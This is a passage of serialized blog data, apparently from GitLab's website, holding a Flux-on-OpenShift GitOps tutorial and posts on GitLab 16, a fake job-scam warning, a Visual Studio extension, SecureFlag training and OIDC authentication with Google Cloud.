by bootstrap using the following command:\n\n```\ngit clone https://gitlab.com/gitlab-partner-demos/red-hat-demos/flux/\ncd flux\nmkdir -p clusters/my-cluster/flux-system\ntouch clusters/my-cluster/flux-system/gotk-components.yaml \\\n    clusters/my-cluster/flux-system/gotk-sync.yaml \\\n    clusters/my-cluster/flux-system/kustomization.yaml\n```\n\nAdd the following YAML snippet and its patches section to flux/clusters/my-cluster/flux-system/kustomization.yaml:\n\n```\napiVersion: kustomize.config.k8s.io/v1beta1\nkind: Kustomization\nresources:\n  - gotk-components.yaml\n  - gotk-sync.yaml\npatches:\n  - patch: |\n      apiVersion: apps/v1\n      kind: Deployment\n      metadata:\n        name: all\n      spec:\n        template:\n          spec:\n            containers:\n              - name: manager\n                securityContext:\n                  runAsUser: 65534\n                  seccompProfile:\n                    $patch: delete      \n    target:\n      kind: Deployment\n      labelSelector: app.kubernetes.io/part-of=flux\n```\n\nCommit and push the changes to main branch:\n\n```\ncd ~/flux\ngit add -A && git commit -m \"init flux for openshift\" && git push\n```\n\n### Create a personal access token\n\nTo authenticate with the Flux CLI, you must create a GitLab personal access token ([PAT](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html)) with the api scope:\n1. In the upper-right corner, select your avatar.\n2. Select Edit profile.\n3. On the left sidebar, select Access Tokens.\n4. Enter a name and expiry date for the token.\n5. Select the api scope.\n6. Select Create personal access token.\n7. Copy the new token to your clipboard.\n\nNote: You can also use a project or group access token with the api scope.\n\n### Create the Flux repository\nCreate a Git repository, install Flux, and authenticate Flux with your repo in RedHat OpenShift:\n1. Make sure you are logged in as an OpenShift user in your CLI to access your cluster. `oc login` command is useful here.\n2. [Install the Flux CLI](https://fluxcd.io/flux/installation/#bootstrap). You must install Flux v2 or higher. `brew install fluxcd/tap/flux` on Mac OSX. Check your flux version with `flux -v`. Mine is `flux version 2.0.0-rc.1`.\n3. In GitLab, create a new empty project called `flux`. I chose to use [the respository in this readme](https://gitlab.com/gitlab-partner-demos/red-hat-demos/flux/)\n4. From your shell, export a GITLAB_TOKEN environment variable with the value of your personal access token. For example, `export GITLAB_TOKEN=\u003Cpersonal-access-token>`.\n5. Run the bootstrap command. The exact command depends on whether you are creating the Flux repository under a GitLab user, group, or subgroup. For more information, see the Flux bootstrap documentation.\n\nIn this tutorial, you’re working with a public project in a subgroup. The bootstrap command looks like this:\n\n```\ncd ~/flux\nflux bootstrap gitlab \\\n  --owner=gitlab-partner-demos/red-hat-demos \\\n  --repository=flux \\\n  --branch=master \\\n  --path=clusters/my-cluster \\\n  --token-auth\n```\nExpected output:\n```\n► connecting to https://gitlab.com\n► cloning branch \"master\" from Git repository \"https://gitlab.com/gitlab-partner-demos/red-hat-demos/flux.git\"\n✔ cloned repository\n► generating component manifests\n✔ generated component manifests\n✔ component manifests are up to date\n► installing components in \"flux-system\" namespace\n✔ installed components\n✔ reconciled components\n► determining if source secret \"flux-system/flux-system\" exists\n✔ source secret up to date\n► generating sync manifests\n✔ generated sync manifests\n✔ sync manifests are up to date\n► applying sync manifests\n✔ reconciled sync configuration\n◎ waiting for Kustomization \"flux-system/flux-system\" to be reconciled\n```\n\nThis command installs the Flux agent on the OpenShift cluster and configures it to manage itself from the repository flux-config. The command also automatically creates the project deploy token required to access the flux-config repository.\n\nGreat work! You now have a repository bootstrapped with a Flux configuration. Any updates to your repository are automatically synced to the cluster.\n\n### Create the OpenShift manifest repository\nNext, create a repository for your Flux manifest files. These are stateful files that track the current running configuration by\nthe Flux agent. I chose to use [web-app-manifests](https://gitlab.com/gitlab-partner-demos/red-hat-demos/web-app-manifests) project to track my manifest files.\n1. In GitLab, create a new repository called `web-app-manifests`.\n1. Add a file to web-app-manifests named `nginx-deployment.yaml` with the following contents:\n\n```\napiVersion: apps/v1\n\nkind: Deployment\n\nmetadata:\n  name: nginx-deployment\n  labels:\n    app: nginx\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n      - name: nginx-unprivileged\n        image: nginxinc/nginx-unprivileged:latest\n        ports:\n        - containerPort: 80\n```\n\nIn the new `web-app-manifests` repository, create a [GitLab deploy token](https://docs.gitlab.com/ee/user/project/deploy_tokens/) with only the `read_repository` scope.\n\nStore your deploy token username and password somewhere safe. I used environmental variables to save mine:\n\n```\nexport GITLAB_DEPLOY_TOKEN_USER=\u003Cmy-gitlab-deployment-token-username>\nexport GITLAB_DEPLOY_TOKEN_PASS=\u003Cmy-gitlab-deployment-token-password>\nenv |grep GITLAB_DEPLOY_TOKEN\n```\nExpected output:\n```\nGITLAB_DEPLOY_TOKEN_USER=myGitLabUserName\nGITLAB_DEPLOY_TOKEN_PASS=MySecretToken\n```\n\nIn Flux CLI, create a secret with your deploy token and point the secret to the new repository. For example:\n\n```\nflux create secret git flux-deploy-authentication \\\n         --url=https://gitlab.com/gitlab-partner-demos/red-hat-demos/web-app-manifests \\\n         --namespace=default \\\n         --username=$GITLAB_DEPLOY_TOKEN_USER \\\n         --password=$GITLAB_DEPLOY_TOKEN_PASS\n```\nExpected output:\n```\n► git secret 'flux-deploy-authentication' created in 'default' namespace\n```\n\nTo check if your secret was generated successfully, run:\n\n```\noc -n default get secrets flux-deploy-authentication -o yaml\n```\nExpected output:\n```\napiVersion: v1\ndata:\n  password: Base64EncodedPassword=\n  username: Base64EncodedUsername\nkind: Secret\nmetadata:\n  creationTimestamp: \"2023-04-20T18:22:33Z\"\n  name: flux-deploy-authentication\n  namespace: default\n  resourceVersion: \"8168670\"\n  uid: 16292254-83cd-4df2-8a9c-bc4c718e4b4a\ntype: Opaque\n```\n\nUnder data, you should see base64-encoded values associated with your token username and password.\n\nCongratulations! You now have a manifest repository, a deploy token, and a secret generated directly on your cluster.\n\n### Configure Flux to sync your manifests\nNext, tell flux-config to sync with the web-app-manifests repository.\n\nTo do so, create a [GitRepository resource](https://docs.openshift.com/container-platform/3.11/dev_guide/application_lifecycle/new_app.html) in OpenShift:\n\n1. Clone the flux repo to your machine.\n```\n# Remember that we already have the flux repo cloned into our home dir.\ncd ~/flux\ngit pull\n```\n\n2. In your local clone of flux, add the GitRepository file `clusters/my-cluster/web-app-manifests-source.yaml`:\n  \n```\n",[696,534],{"slug":9488,"featured":6,"template":678},"set-up-flux-for-gitops-on-openshift","content:en-us:blog:set-up-flux-for-gitops-on-openshift.yml","Set Up Flux For Gitops On Openshift","en-us/blog/set-up-flux-for-gitops-on-openshift.yml","en-us/blog/set-up-flux-for-gitops-on-openshift",{"_path":9494,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9495,"content":9501,"config":9506,"_id":9508,"_type":16,"title":9509,"_source":17,"_file":9510,"_stem":9511,"_extension":20},"/en-us/blog/gitlab-16-ai-and-security-take-center-stage",{"title":9496,"description":9497,"ogTitle":9496,"ogDescription":9497,"noIndex":6,"ogImage":9498,"ogUrl":9499,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9499,"schema":9500},"GitLab 16: AI and security take center stage","Our GitLab 16 launch event showcased our AI-powered workflows that drive usability improvements, security enhancements, and observability advancements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671793/Blog/Hero%20Images/16_0-cover-image.png","https://about.gitlab.com/blog/gitlab-16-ai-and-security-take-center-stage","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16: AI and security take center stage\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2023-06-30\",\n      }",{"title":9496,"description":9497,"authors":9502,"heroImage":9498,"date":9503,"body":9504,"category":791,"tags":9505},[1524],"2023-06-30","\nThe new era of DevSecOps is here – and its focus is on improving everyone’s experience through AI-powered workflows that drive usability improvements, security enhancements, and observability advancements.\n\nAt our recent GitLab 16 launch event, we highlighted how our platform has evolved to fuel productivity and efficiency, which are top of mind in 2023, according to GitLab’s [2023 Global DevSecOps Report: Productivity & Efficiency Within Reach](https://about.gitlab.com/developer-survey/).\n\n> If you missed the GitLab 16 event, it’s [available on demand](https://about.gitlab.com/sixteen/), so it’s not too late.\n\nWhat I find most exciting about the launch of [GitLab 16](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/) is that it marks a significant milestone for our customers, as well as for GitLab, and heralds the era of AI-powered DevSecOps. We’ve built upon the nearly 500 new capabilities we introduced with GitLab 15 and have continued that upward trajectory. \n\nThe GitLab 16 event showcased amazing new capabilities across our entire DevSecOps platform, which is reinforced by our significant investments in critical areas: \n\n1. Building a world-class DevSecOps experience that includes significant usability improvements, additional collaboration capabilities, and [AI-assisted workflows](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/). \n2. Providing advanced security and compliance, deepening our capabilities, and bringing [software supply chain security](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) to the forefront of software development.\n3. Bringing observability, analytics, and feedback into our DevSecOps platform, [empowering organizations to close the SDLC loop](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html) with user data.\n4. Offering GitLab for data science workloads to enable data scientists and data engineers to benefit from all the value our DevSecOps Platform provides, including collaboration, reproducibility, and streamlined deployment into production.\n\n## Introducing GitLab Duo\nAs part of GitLab 16, we [unveiled GitLab Duo](https://about.gitlab.com/blog/meet-gitlab-duo-the-suite-of-ai-capabilities/), our suite of enterprise-grade AI capabilities powering DevSecOps workflows. GitLab Duo is integrated directly into the DevSecOps platform, enabling you to write better code faster and more efficiently. And GitLab Duo goes well beyond code creation to deliver AI-assisted workflows at all stages of the software development lifecycle, such as security testing and analysis, observability, and proactive vulnerability detection. Our goal is to help you achieve a 10x improvement in workflow efficiency by tapping into all of the DevSecOps platform’s AI capabilities. \n\nGitLab Duo includes Code Suggestions, Explain this Code, Explain this Vulnerability, Summarize Issue Comments, Chat, and more.\n\nLearn about the [powerful features of GitLab Duo](https://about.gitlab.com/gitlab-duo/).\n\n## Joining forces with Google Cloud\nAt the launch June Yang, VP of Cloud AI and Industry Solutions at Google Cloud, discussed our partnership with [Google Cloud](https://about.gitlab.com/partners/technology-partners/google-cloud-platform/), (as recently [announced in May](https://about.gitlab.com/press/releases/2023-05-02-gitlab-and-google-cloud-partner-to-expand-ai-assisted-capabilities/)) in which we’re building several joint solutions that will help enterprise customers to improve the efficiency, effectiveness, and quality of their software development processes.\n\nBoth GitLab and Google Cloud are committed to developing new AI-powered solutions that help businesses improve their software development processes and protect their data.\n\nGitLab's vision for generative AI is grounded in privacy, security, and transparency. The partnership with Google Cloud enables GitLab to offer private and secure AI-powered features, while ensuring customer intellectual property (i.e., their source code) stays theirs and will not be used for training and fine-tuning of AI models. \n\n## CARFAX’s DevSecOps results\nMark Portofe, Director of Platform Engineering at CARFAX, also joined us for our GItLab 16 launch. It was enlightening to hear how CARFAX has been using GitLab since 2017 to make them more productive and more secure. Mark shared how CARFAX can now [create CI/CD pipelines](https://about.gitlab.com/solutions/continuous-integration/) in hours instead of the days or even weeks it took before – freeing up their developers’ time to focus on getting code to production. As a result, their number of production deployments has increased by 20% year over year.\n\n## GitLab Dedicated\nAs part of our GitLab 16 event, we also shared that [GitLab Dedicated](https://about.gitlab.com/dedicated/), our single-tenant SaaS offering of GitLab’s DevSecOps platform designed to address the needs of customers with stringent compliance requirements, is now generally available. \n\nWith GitLab Dedicated, organizations can access all of the benefits of the DevSecOps platform delivered as a SaaS offering – including faster releases, better security, and more productive developers – while satisfying compliance requirements such as data residency, isolation, and private networking.\n\n## Value Stream Analytics and Dashboards\nWhen it comes to observability, analytics, and feedback, our single application shines by providing end-to-end metrics and insights. We see this being very much native to our DevSecOps platform.\n\nWe’ve made great strides with [Value Streams Dashboards](https://www.youtube.com/watch?v=EA9Sbks27g4), a  popular feature with our customers. These dashboards combine DORA 4 metrics with GitLab-specific metrics to give organizations insights into the health of their software delivery, identifying areas of efficiency and areas for improvement. \n\nWe are also introducing [Product Analytics](https://about.gitlab.com/blog/introducing-product-analytics-in-gitlab/) in GitLab 16 to close the DevSecOps loop with user metrics and feedback from the applications that organizations are building with GitLab, which they can incorporate into their planning efforts. \n\n## Watch the GitLab 16 launch event\nI’m really proud of the work our teams put into GitLab 16 to make it a reality. To hear more and dig deeper into the amazing capabilities of GitLab 16, check out the [launch event](https://about.gitlab.com/sixteen/).\n",[790,479,774,674],{"slug":9507,"featured":6,"template":678},"gitlab-16-ai-and-security-take-center-stage","content:en-us:blog:gitlab-16-ai-and-security-take-center-stage.yml","Gitlab 16 Ai And Security Take Center Stage","en-us/blog/gitlab-16-ai-and-security-take-center-stage.yml","en-us/blog/gitlab-16-ai-and-security-take-center-stage",{"_path":9513,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9514,"content":9520,"config":9525,"_id":9527,"_type":16,"title":9528,"_source":17,"_file":9529,"_stem":9530,"_extension":20},"/en-us/blog/fake-gitlab-job-scam",{"title":9515,"description":9516,"ogTitle":9515,"ogDescription":9516,"noIndex":6,"ogImage":9517,"ogUrl":9518,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9518,"schema":9519},"What to know about a fake job scam impersonating GitLab","GitLab Security is aware of a fake GitLab job scam, ultimately requesting job seekers pay thousands of dollars for 'technology equipment.' Here's how to spot it.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682784/Blog/Hero%20Images/cautionsign.jpg","https://about.gitlab.com/blog/fake-gitlab-job-scam","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What to know about a fake job scam impersonating GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Matt Coons\"}],\n        \"datePublished\": \"2023-06-29\",\n      }",{"title":9515,"description":9516,"authors":9521,"heroImage":9517,"date":9522,"body":9523,"category":736,"tags":9524},[1403],"2023-06-29","\n\nThe GitLab [Security Incident Response Team (SIRT)](https://about.gitlab.com/handbook/security/security-operations/sirt/) is aware of a fake job scam targeting job seekers by impersonating the GitLab name and GitLab team member names. Scammers have been observed requesting job seekers pay thousands of dollars for “technology equipment” after job seekers completed an in-depth, fake job application interview process. \n\nTo help ensure you’re safe and secure, see the recommendations below in the section titled, \"How to protect yourself.\"\n\n## Fake GitLab jobs: Warning signs\nAs of the time of this blog post, scammers have been posting fake GitLab jobs and have been subsequently following up with victims, using the following patterns.\n\n### Initial communications\n- Scammers are sending job seekers text messages claiming to be a GitLab recruiter. \n- The scammers then send the job seeker a Microsoft Teams meeting link for the fake interview.\n  - GitLab recruiters do not initially contact candidates via text message. Also, GitLab recruiters only use Zoom for video conferencing.\n\n### Interviews and continued communication \n- Once on Microsoft Teams, the scammer requests the job seeker join a voice- or chat-only interview. \n- Scammers were observed contacting job seekers from Outlook email accounts following the pattern: name.gitlab@outlook.com.\n  - Email addresses from GitLab team members end in @gitlab.com.\n- Scammers used a “gitlabinc.com” domain in email signatures. That domain is not owned or affiliated with GitLab. \n\n### Fake job offer and onboarding steps\n- Scammers requested job seekers create a Gmail email address with the pattern of firstname.gitlab@gmail.com.\n  - GitLab assigns new team members official email addresses and do not request that new team members create their own.\n- Scammers sent poorly formatted letters of employment, benefits overviews, and background checks. \n- The fake benefits overview document describes \"efg&m\" as the program administrator for GitLab benefits.\n  - GitLab does not use \"efg&m\" for benefits management. \n- The fake background check document requests full personal information, including a U.S. Social Security number.\n  - GitLab does not request details such as a Social Security number via email. \n\n### Request for money\n- In at least one case, scammers ultimately requested USD $11,000 from a job seeker for “start-up equipment,\" including a MacBook Pro. \n  - GitLab follows a published technology purchasing process, as [outlined in our handbook](https://about.gitlab.com/handbook/business-technology/end-user-services/onboarding-access-requests/#new-hire-laptop-ordering-process), and won’t ask you to pay for technology equipment up front.   \n\n## How to protect yourself\nJob seekers should refer to [GitLab’s Candidate Handbook page](https://about.gitlab.com/handbook/hiring/candidate/faq/) to understand the GitLab job application and interviewing process.\n\nIf you think you may be a victim of a fake job scam impersonating GitLab, there are a number of ways to protect yourself, and ensure that the proper authorities are aware. It is a good idea to check for signs of identity theft or any other signs of potential theft. The Los Angeles Times has a [great article describing how to avoid job scams](https://www.latimes.com/business/story/2023-01-12/job-hunt-how-to-avoid-scams), with useful links describing how to check for potential identity theft and report job scams, alert the FTC, and more. \n\n## Online employment scam resource\n - Find out how to identify [online employment scams](https://www.edmontonpolice.ca/CrimePrevention/PersonalFamilySafety/Frauds/OnlineScams/EmploymentScams). \n\n",[674,736],{"slug":9526,"featured":6,"template":678},"fake-gitlab-job-scam","content:en-us:blog:fake-gitlab-job-scam.yml","Fake Gitlab Job Scam","en-us/blog/fake-gitlab-job-scam.yml","en-us/blog/fake-gitlab-job-scam",{"_path":9532,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9533,"content":9538,"config":9542,"_id":9544,"_type":16,"title":9545,"_source":17,"_file":9546,"_stem":9547,"_extension":20},"/en-us/blog/gitlab-visual-studio-extension",{"title":9534,"description":9535,"ogTitle":9534,"ogDescription":9535,"noIndex":6,"ogImage":8601,"ogUrl":9536,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9536,"schema":9537},"GitLab for Visual Studio, including code suggestions, available in Beta","GitLab for Visual Studio is now available in Beta, bringing GitLab Duo code suggestions to Visual Studio.","https://about.gitlab.com/blog/gitlab-visual-studio-extension","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab for Visual Studio, including code suggestions, available in Beta\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kai Armstrong\"}],\n        \"datePublished\": \"2023-06-29\",\n      }",{"title":9534,"description":9535,"authors":9539,"heroImage":8601,"date":9522,"body":9540,"category":791,"tags":9541},[9201],"\n\n\u003Ci>This blog is the latest post in an ongoing series about GitLab's journey to \u003Ca href=\"/blog/ai-ml-in-devsecops-series/\">build and integrate AI/ML into our DevSecOps platform\u003C/a>. The first blog post can be found \u003Ca href=\"/blog/what-the-ml-ai/\">here\u003C/a>. Throughout the series, we'll feature blogs from our product, engineering, and UX teams to showcase how we're infusing AI/ML into GitLab.\u003C/i>\n\nIn June, we shared our plans to [extend code suggestions](/blog/extending-code-suggestions/) to more IDEs, thereby continuing to enhance developer productivity. Over the past several weeks, we've been iterating quickly and we can share that GitLab for Visual Studio is available ([in Beta](https://docs.gitlab.com/ee/policy/experiment-beta-support.html#beta)) from the [Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio).\n\nThe GitLab for Visual Studio extension supports [GitLab Duo](https://about.gitlab.com/gitlab-duo/) code suggestions for both [GitLab SaaS](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-gitlab-saas) and [GitLab self-managed](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-on-self-managed-gitlab).\n\nDownload it and let us know what you think and any issues you're having in our [feedback issue](https://gitlab.com/gitlab-org/editor-extensions/gitlab-visual-studio-extension/-/issues/38).\n\n## Getting started\nTo get started with the extension, download it from the [Visual Studio Marketplace](https://marketplace.visualstudio.com/items?itemName=GitLab.GitLabExtensionForVisualStudio). After the extension is downloaded and installed, you can follow our [setup instructions](https://gitlab.com/gitlab-org/editor-extensions/gitlab-visual-studio-extension/-/blob/main/README.md#setup) to get it configured.\n\n![GitLab for Visual Studio setup](https://about.gitlab.com/images/blogimages/gitlab-visual-studio-extension-setup.png)\n\n## Using the extension\nOnce you've set up the extension, make sure things are configured properly and authentication is working by checking the status bar icon.\n\n![GitLab for Visual Studio status bar icon](https://about.gitlab.com/images/blogimages/gitlab-visual-studio-extension-status-bar-icon.png)\n\nIf everything looks good, you're ready to start receiving code suggestions as you work. Just start typing and GitLab Duo will automatically provide you suggestions inline. You can press \u003Ckbd>Tab\u003C/kbd> to accept the suggestions or just keep typing to receive new suggestions.\n\n![GitLab for Visual Studio suggestions](https://about.gitlab.com/images/blogimages/gitlab-visual-studio-extension-suggestions.gif)\n\n## Iterating on AI/ML features\nWhile this brings us one step closer to reaching developers working in Visual Studio, we still have our eyes on the [JetBrains IDEs](https://gitlab.com/gitlab-org/editor-extensions/gitlab-jetbrains-plugin) as well as a native integration for [Neovim](https://gitlab.com/gitlab-org/editor-extensions/gitlab.vim). You can track these projects and stay tuned for future announcements regarding their availability.\n\nWe're also working on a [GitLab Language Server for code suggestions](https://gitlab.com/gitlab-org/editor-extensions/gitlab-language-server-for-code-suggestions). This allows us to not only standardize and iterate faster on our IDE extensions, but for users of IDEs and Editors to use GitLab Duo code suggestions even if we're not officially providing an extension. We look forward to providing more documentation and working with the community on this project in the future.\n\nThese efforts are just the start of how we're bringing GitLab Duo capabilities throughout the software development lifecycle to help GitLab users become more efficient and effective at their jobs. We are [looking across the software development lifecycle](/blog/what-the-ml-ai/) for painful and time-consuming tasks that are ideal for AI-assisted features. We'll continue to share these demos throughout this blog series.\n\nInterested in using these AI-generated features? [Join our waitlist](https://forms.gle/9eeUkPJauKsbLaoz5) and share your ideas.\n\nContinue reading our \"[AI/ML in DevSecOps](/blog/ai-ml-in-devsecops-series/)\" series.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n",[943,695,754,790],{"slug":9543,"featured":6,"template":678},"gitlab-visual-studio-extension","content:en-us:blog:gitlab-visual-studio-extension.yml","Gitlab Visual Studio Extension","en-us/blog/gitlab-visual-studio-extension.yml","en-us/blog/gitlab-visual-studio-extension",{"_path":9549,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9550,"content":9556,"config":9560,"_id":9562,"_type":16,"title":9563,"_source":17,"_file":9564,"_stem":9565,"_extension":20},"/en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation",{"title":9551,"description":9552,"ogTitle":9551,"ogDescription":9552,"noIndex":6,"ogImage":9553,"ogUrl":9554,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9554,"schema":9555},"SecureFlag integrated with GitLab for rapid vulnerability remediation","Empower developers with hands-on security training within the DevSecOps platform.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679321/Blog/Hero%20Images/cover_image_secureflag.png","https://about.gitlab.com/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"SecureFlag integrated with GitLab for rapid vulnerability remediation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Alana Bellucci\"}],\n        \"datePublished\": \"2023-06-29\",\n      }",{"title":9551,"description":9552,"authors":9557,"heroImage":9553,"date":9522,"body":9558,"category":674,"tags":9559},[5305],"\n\nAs part of our commitment to developer-led security, GitLab has integrated SecureFlag's vulnerability remediation training for developers into the DevSecOps platform. [SecureFlag’s training](https://www.secureflag.com/solutions?utm_source=blog&utm_medium=organic&utm_campaign=GitLab+blog) is unique as it offers labs where developers can learn to remediate vulnerabilities in a live environment. \n\nOften, organizations attempt to address vulnerabilities by referring to incomplete or misleading advice. This not only hinders the remediation process, but might lead to additional insecure applications and increased risk. With the SecureFlag integration with GitLab, organizations can continue to shift security left in the software development lifecycle, gaining more insight, oversight, and control of their assets, processes, and overall security posture. Real-time access to vulnerability information ensures consistent, up-to-date, and trustworthy guidance and documentation for tackling the remediation of security findings.\n\nWhen developers receive GitLab vulnerability scan results on the DevSecOps platform, SecureFlag provides a clear understanding of the identified vulnerabilities, indicates the best way to remediate them, and presents hands-on labs for practice.\n\n## How the SecureFlag-GitLab integration works\nGitLab's security scanners detect vulnerabilities when merging to a default branch. These vulnerabilities surface in the merge request and pipeline or in the Vulnerability Report. Once a vulnerability is identified, SecureFlag integration steps in to streamline the vulnerability remediation process. Using the information provided in the vulnerability details, SecureFlag generates a link to a training resource for the developer, which provides guidance throughout the remediation of that specific security problem.\n\n![Developer Workflow](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/developer-workflow.png){: .shadow}\n\n\nBy clicking on the link, developers are led to a knowledge base article that illustrates, with code examples, how to address a vulnerability in the specific programming language. Moreover, they can start a hands-on lab in a few seconds and practice their remediation skills before diving into the actual work. This level of preparedness has enabled organizations to significantly decrease the number of security retests, as developers now know exactly what to do and are often able to fix the issue on their first attempt.\n\n![SecureFlag SQL Injection Page](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/secureflag-knowledge-base.png){: .shadow}\n\n\n## SecureFlag's hands-on labs\nSecureFlag’s hands-on labs stand out as a powerful learning tool for developers. Labs comprise a complete virtualized desktop computer with a real development environment unique to the programming language in question. Labs are spun up in seconds and are designed to facilitate effective and engaging training experiences with the goal of maximizing retention.\n\n![SecureFlag Lab](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/secureflag-lab.gif){: .shadow}\n\n\nSecureFlag labs feature:\n- support for over 45+ technologies\n- multiple difficulty levels and scenarios for each vulnerability\n- gamified learning with points, trophies, and certifications\n- adaptive training based on previous results\n\n## How to install and configure SecureFlag training on GitLab\nSecureFlag training is available to all GitLab Ultimate customers and can be enabled for any project. Additional details can be found [here](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/#enable-security-training-for-vulnerabilities).\n![Security Training Settings](https://about.gitlab.com/images/blogimages/2023-06-15-empowering-developers-via-GitLab-integrating-SecureFlag-for-rapid-vulnerability-remediation/security-training-settings.png){: .shadow}\n\n\nOnce installed, you can view the results from a GitLab security scan (including GitLab’s integration partners) in a merge request, the pipeline security tab, or a vulnerability details page. When you open a vulnerability record, you will see a direct link to the training. GitLab then pulls a training module from SecureFlag that best matches the specific security issue and the appropriate language or framework in which it was detected.\n\nThe integration of SecureFlag within GitLab enhances the robustness of an organization's security strategy by enabling a proactive, developer-led security approach. The training material and hands-on labs ensure that developers are well-equipped to handle any identified vulnerabilities, thus reducing remediation time and increasing your overall project security.\n",[674,943,695,754],{"slug":9561,"featured":6,"template":678},"secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation","content:en-us:blog:secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation.yml","Secureflag Integrated With Gitlab For Rapid Vulnerability Remediation","en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation.yml","en-us/blog/secureflag-integrated-with-gitlab-for-rapid-vulnerability-remediation",{"_path":9567,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9568,"content":9573,"config":9580,"_id":9582,"_type":16,"title":9583,"_source":17,"_file":9584,"_stem":9585,"_extension":20},"/en-us/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci",{"title":9569,"description":9570,"ogTitle":9569,"ogDescription":9570,"noIndex":6,"ogImage":8246,"ogUrl":9571,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9571,"schema":9572},"OIDC simplifies GitLab CI/CD authentication with Google Cloud","OpenID Connect can sometimes be complex, but it's the safer and recommended way to authenticate your GitLab pipeline with Google Cloud. This tutorial shows you how.","https://about.gitlab.com/blog/introduction-of-oidc-modules-for-integration-between-google-cloud-and-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How OIDC can simplify authentication of GitLab CI/CD pipelines with Google Cloud\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hiroki Suezawa\"},{\"@type\":\"Person\",\"name\":\"Dhruv Jain\"}],\n        \"datePublished\": \"2023-06-28\",\n      }",{"title":9574,"description":9570,"authors":9575,"heroImage":8246,"date":9577,"body":9578,"category":674,"tags":9579},"How OIDC can simplify authentication of GitLab CI/CD pipelines with Google Cloud",[1543,9576],"Dhruv Jain","2023-06-28","\n\nIn recent years, the [integration of cloud services and GitLab through GitOps](https://about.gitlab.com/blog/the-ultimate-guide-to-gitops-with-gitlab/) has become very common. Applications are now continuously tested and deployed through [continuous integration and delivery (CI/CD)](https://about.gitlab.com/topics/ci-cd/); cloud environments are managed in code through Infrastructure as Code (IaC) using tools like Terraform; and GitLab CI is used as a core tool to perform these GitOps processes.\n\nAt the same time, [software supply chain attacks](https://about.gitlab.com/blog/the-ultimate-guide-to-software-supply-chain-security/) have increased. To reduce the risk of an attack, the use of OpenID Connect ([OIDC](https://docs.gitlab.com/ee/integration/openid_connect_provider.html#introduction-to-openid-connect)) auth is recommended, and GitLab 15.7 introduced [ID tokens](https://docs.gitlab.com/ee/ci/secrets/id_token_authentication.html), a mechanism for secure OIDC integration.\n\nHowever, OIDC integration can be complex for beginners and can be difficult to configure properly. Therefore, GitLab's Infrastructure Security Team has created a Terraform module for configuring Google Cloud and a CI template for GitLab CI so GitLab CI and Google Cloud can be securely integrated.\n\nThis tutorial explains how to use [these OIDC modules](https://gitlab.com/gitlab-com/gl-security/security-operations/infrastructure-security-public/oidc-modules).\n\n## Why OIDC?\nThe integration between Google Cloud and GitLab CI has often been done by adding a static key of the service account in Google Cloud to the environment variables of CI. However, this method has the following problems:\n\n- The risk of compromise is high because the same key can be used to manipulate the cloud environment over time.\n- Because static keys are portable, there is no link between the key and the environment in which it is used, making it difficult to identify where the key is being used.\n\nOIDC authentication can solve the above problems by providing the following benefits:\n- No need to issue static keys, eliminating the need for long-term key management.\n  - It also eliminates the compliance need of rotating the secrets every few months.\n- Low risk of leakage due to temporary tokens issued.\n- Because the CI used is tied to the Google Cloud environment, it is possible to properly manage where the service account is used.\nIn addition, other settings such as CI and CD isolation can be configured using [the claims provided by GitLab 